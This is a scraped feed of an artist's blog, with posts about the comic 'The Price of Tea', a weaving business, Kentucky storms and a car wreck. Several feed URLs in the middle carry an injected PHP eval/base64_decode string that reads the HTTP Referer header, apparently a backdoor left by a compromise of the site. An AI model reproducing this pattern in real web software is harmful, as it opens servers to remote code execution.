We just got our order of TPOT #3 in, and they look pretty dern awesome! They’re only $3.50 + shipping (usually $1.50) and We only got so many so let us know if you want one. OR, you could get them any ole time through Indyplanet- [link]

Also, we’re moving soon to a more hospitable environment, so look forward to more artwork. Yeah, more artwork.

And More TPOT too. Stay tuned!…

Hello All,

Well, it seems we have the fiber/weaving business in a stable place for a moment, and now it’s time to open the flood gates back to Art and Illustration!

First bit-o-news: TPOT #3 will be on its way soon. It’ll be a pretty neat issue, a kind of reconciliation between styles, genre, and TPOT itself. I’ll relate more info as it comes closer to being printed. (Good news also on the TPOT front- TPOT is in its very first brick and mortar store! Collectibles Etc. in Lexington, Ky!)

Secondly, I broke down and finally put myself and Nydwyn Green Dragon Studio on Facebook… (link and link) It’s pretty crazy how many people are on there… So friend me if you’d like and be sure to fan NGDS to catch the news on the wind!

Third, I’ve got a little bit of time for some new illustration work, so hey all you editors out there, My schedule has some slots again.

More changes and such in the works with EVERYTHING, so stay tuned!

Happy Holidays Everybody!

All the Best,

-CJB

Nydwyn Green Dragon Studio

Promote Your Page Too

Hello All,

So, it’s been a while to say the least. What have I been doing? I’ve been ‘a weavin’! It seems that the fibers business is taking off quite well and since there’s been a lull in illustration, I’m happy to do something else for a while. Like a lot of other artists out there, I have to constantly create things and painting just sometimes doesn’t cut it. Doing something tactile and more relatable is a huge breath of fresh air. I also find myself a thousand times busier with the fibers stuff than I could ever imagine. The results are worth it though.

One of the strangest things is that I get a LOT more respect as a Weaver/Textile artist. Usually when someone introduces me as ‘Oh, this is C.J., he’s a fantasy artist,’ I get a wincing eye and a smirk. Lately though, people have been getting to know me as fibers person and it goes like ‘This is C.J., he’s a weaver and textile designer,’ and people go ‘Oh, Wow, that’s really neat!’ and I get smiles and pleasant conversation. It’s one thing to ‘suffer’ for your art, but I never realized how much of a drag it was to my self esteem to not be respected.

With that said, I’ll be focusing my efforts on fibers for a while which will effectively shut NGDS down indefinitely. We’ll see where it goes, I’m sure it’s going to be a hell of a ride!

To see what I’ve been up to fibers-wise, go visit our new website- www.silverwheelyarn.com

And on Facebook…

Thanks Everybody, See you soon!

-CJB

]]> http://nydwyngreendragon.com/excitingnews/index/2009/09/12/sir-weaves-a-lot/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nydwyngreendragon.com/excitingnews/index/2009/06/06/have-i-been-in-a-chinese-prison/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nydwyngreendragon.com/excitingnews/index/2009/06/06/have-i-been-in-a-chinese-prison/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 06 Jun 2009 01:32:36 +0000 C.J. http://nydwyngreendragon.com/excitingnews/index/?p=65

Nope. I’ve felt like I’ve been in a Chinese prison for a while, but in reality I’ve been terribly busy.

What have I been up to? Well, I’ve been working on illustrating a book (that I did not write), working on TPOT, Helping start a fibers business and trying to heal a pulled butt muscle. I managed to redo a catalog of about 90 pages in between too. I’ve been BUSY.

The Book illustrations are nearly done (stay tuned for that later), just the cover remains, the fibers business is going to take more time, and TPOT is… Well, TPOT #3 is in the mix somewhere. It’ll get done, it’s just hard tellin’ when. Other secret projects are in the mix too, so think of it as a kind of weird colored Kool-aid that’ll taste better than it looks. Oh Yeah, you know what I mean.

Don’t forget-
TPOT #1 is still for sale here- [link]
And TPOT #2 is for sale here- [link]

I’ve got just a very few (like ten or less)of TPOT #1 Limited edition left, they’re $10 with free U.S. shipping.

Find out more here- [link]

Hopefully I’ll be able to upload more stuff for ya’ll soon, but in the mean-time I’d love to hear from you!
Talk to you soon,
All the Best!

-CJB

Hey all,

I have a confession.  I’m a paper addict.

Well, maybe not that dire, so perhaps I’m just a Paper Enthusiast.  Yes, a Paper Enthusiast!

What’s that? Why? Because I have tons of paper stored up ready to become paintings.  Artists are notorious for being disorganized, and I try to avoid that tar trap as much as I can.  I’ve got a separate attache case for only my paper, and within that case I’ve got little sticky notes bent over the different papers I want to seperate, along with the type of paper and how many.  Sounds good and organized eh? Well, it usually works out, but not always.

You see, cutting up a piece of paper before I utilize it is like the old time butchering of an animal.  I search in my paper corral for what I want, select a good healthy one, sit it down on the drawing board, and proceed to disect it.  I have a very peculiar way of cutting my paper- I’m fond of deckled edges, so I fold the paper over the same seam with a bone folder until it gives way.  It’s a very tactile experience.  So, in the end, I have up to eight different sheets of paper.  Typically I use them all up in one project, but sometimes I have stragglers.   These straglers end up as portfolio or fun paintings.  Or they sneak into other projects like a vengeful wedding crasher.

I mostly use Arches high-quality watercolor paper, but recently I bought a whole load of different papers to play with because, well, let’s face it- I’m a Paper Enthusiast.   As I was working a few days ago, I found myself with the lack of paper (because I draw directly on the paper I’m going to use), and went to get more.  Then It dawned on me: I didn’t know what kind of paper I had been using. Why does it matter you ask?  Because different papers have different properties, especially with watercolors. Fretful, I grabbed one of the finished drawings and held it up to the light looking for a watermark.  No watermark could be found.

“Damn, I must of grabbed one of the sides without the watermark,” says I.

Well, after much investigating by comparing paper texture, looking through my supply, and holding sheets up in bright light, I came to a near conclusion to what the paper was.  The whole process didn’t help though, as it seemed that I had ran out of that particular weight of paper.  Poo.

Anyways, the point of this whole exercise is not exclusively to provide entertainment, not in the least.  I offer those artists who read this a reassurance-  Even though most watermarks are a nuisance to paint over, work around, etc., they’re very handy in preventing the circumstances that I went through.  And if you’re a paper manufacturer reading this :cough: coventry :cough: strathmore :cough: I implore you to add a watermark or embossing to Every line of paper you make.  It helps with authenticity and archival efforts.

End of Public Service Announcement.

Happy Arting!

So, if you haven’t been taking notice of the news lately, the mid-west has been battered by some horrible weather.  Here in the navel of Kentucky, we had a severe Ice storm about a week ago that looked like this:

The ice lasted a while, and then melted away, causing a soupy uneasiness in the soil.  Then, yesterday, it seemed like the gates of hell were opened and a thousand demons ran past grabbing whatever they could.

Well, even that seemed to go away, but it stirred up again and tore the out-building behind our house up into the air and into our car that was parked in the back yard. (If you read this, you may recall last October a drunk driver smashed our other car. See this blog entry ) Here’s the aftermath:

As you can see, in the foreground of the last picture is where the building was supposed to be, and in the background is where it ended up getting caught in the fence.  Our poor car was in the middle.  I saw the whole thing, while I was talking to my mom.  The conversation went somewhat like this-

Me: “Yeah, the wind was bad earlier, but I think it’s dying down.”

My Mom: “Well, that’s good.  I was worried about yo-”

Me: “Oh wait, there goes the building. Crap.”

So there it went, and now we find out that to replace the window on the heirloom car (Because it’s been in Traci’s family since it left the factory and was in remarkably good condition until now) is relatively hard to do on account of of cost and rarity of the replacement window.  And it seems insurance isn’t going to pay anything to help fix it.  Crap x2.

It is Kentucky after all…

It’s been REAL cold here’a’bouts lately.  We had a very dreadful Ice storm that covered the whole mid-section of KY with at least 1inch of solid ice, with snow on top of that.  Here in good ole Lexington, KY, we had 1 inch of ice with about 3 inches of snow on top.  Just yesterday, (Feb. 6) temperatures got above freezing.  Since the power and phone lines were questionable, I took the liberty of building an igloo out of all the ice in my backyard.  It got to be 5 ft. high before it decided to melt.  Now it’s just a big mound of slush.  I tried to dig a hole yesterday and found a bonafide layer of permafrost underneath.  There goes my bulbs…

Enough about the weather, this is Exciting News, so here goes-  We’ve got The Price of Tea #2 available now, along with the unlimited version of The Price of Tea #1 in two different formats.  You can purchase a printed version from our partners at Indyplanet.com, or you can purchase the .PDF file version from this very website.  Go to the new NGDS Store page to learn more… (LINK) (I have to plug the printed version though, there’s nothing like having a printed object in your hand, as they were designed to be experienced, and they look great too!)

As briefly hinted before, the website has undergone a few changes. I’ve updated the Green Dragon Gallery, added/fixed the brand new NGDS Store (where you can acquire everything we’ve printed and my sideline of original Block Prints), and made everything a bit more compatible with the Firefox browser.  The TPOT site is still hard to navigate with Firefox, but we’re working on it.  The Store is really the new showpiece, it took a lot of elbow-grease to get everything working properly so that now you can order with Paypal, have a shopping cart, and etc…

Also, It looks like I’m going to stay pretty darn busy for a while, so forgive the lack of updates.  I really am hard at it.  Honest.  I just can’t show you most of the stuff I’m producing right yet.

Stay tuned for more blog action though, I need to give this sucker a better workout.

Talk to you soon!

I hope everyone has had a good Holiday season and such. I know I’m looking forward to New Years. I think it can be said that everyone has had a relatively bad year, or a very weird year at the least. Looking back I see all the bad stuff first, but then I realize a lot of good stuff happened too. Should I punch 2008 in the nuts or shake its hand? Maybe I’ll do both in one strong and swift motion.

I must give a big Thanks to all those who supported me when our car got smashed. Just knowing that so many care is a great boon indeed. I’ve been kinda shook up about it for a while now, and it seems like the trouble’s nearly passed. But Damn, was there a hell of a lot of distractions over the past 3 months. Not only do I work slow, but the holidays and other unfortunate things kept me too busy. I should have had TPOT #2 done and out by January, but it looks like the end of January/beginning of February is the expected release time. Stay tuned for more info on that.

2009 seems like it’s going to keep me pretty busy. I think I’m going to stay put instead of traveling to shows this year, unless something really awesome pops up. I will be sending Art to various shows, so if you frequent conventions in the Mid-West and Eastern USA there’s a good chance you’ll get to see some of my work.

May 2009 bring us all prosperity and joy, and might we all be safe in the process.

Talk to you Soon,
All the Best!

-CJB

So, a drunk driver woke me up Sunday morning by totaling my car and driving away.  He was generous enough to leave half of his front end in the interior of our Geo Metro however.  He managed to push it 100+ ft before wedging the metro between my neighbor’s house and her car before he decided to back up and keep going.  In essence, we’re out a LOT of money (we were working on fixing up the Metro to near factory condition) and we’re out a Car.  We did have an old boat of a car in reserve, but some fool hit it today(Monday-Happy Columbus Day?) as well.  

I’m not asking for money, no.  All I’m asking is if you’ve been pondering purchasing a sketchbook, a comic book, original or print from me Now is the time to do so.  I’m offering ALL of my remaining works of art at your best reasonable offer and don’t be afraid to email or call to talk about it.  Sketchbooks ‘07 and ‘08 are available for $10 each or $15 for both.  Our flagship graphic novel “The Price of Tea’ #1 is also $10.  All of these in house publications are in a limited edition of 100, hand signed and numbered, with free domestic U.S.A. shipping. 

This is a looming threat to me continuing my artistic endeavors, so time is of the essence.  Thanks for your support; it’s especially appreciated at times like these.

Contact Info-

C.J. Bloomer /Nydwyn Green Dragon Studio

Nydwyngreendragon@yahoo.com

1-859-225-9144 (If it’s busy try email)

website- www.nydywngreendragon.com

TPOT website - www.nydwyngreendragon.com/tpot/

Deviant Art website (includes stuff I don’t post here) - http://nydwyngreendragon.deviantart.com/gallery/

So, its been a couple of weeks since we came back from Atlanta, GA’s much celebrated Dragon*Con.  We had a great time, got to meet a lot of really awesome people, and realized that we have super awesome Fans!  If you’re reading this and you met me at Dragon*Con, I’d like to thank you for stopping by and chatting- it made Dragon*Con ever so better!

My Panel, “Exploring the Mythic Image”, went exceedingly well! I appreciate everyone who came out and making it so interactive and thought provoking.

“The Price of Tea” issue #1 Limited Edition outsold everything else and many came back by to give us rave reviews! There’s but a few left, if you need one email me ($10 domestic s/h included).

The website is giving me b.s., so I’ll be changing a lot of things soon.  Upgrades mostly, but if you have any ideas, feel free to let me know!

Talk to ya’ll soon!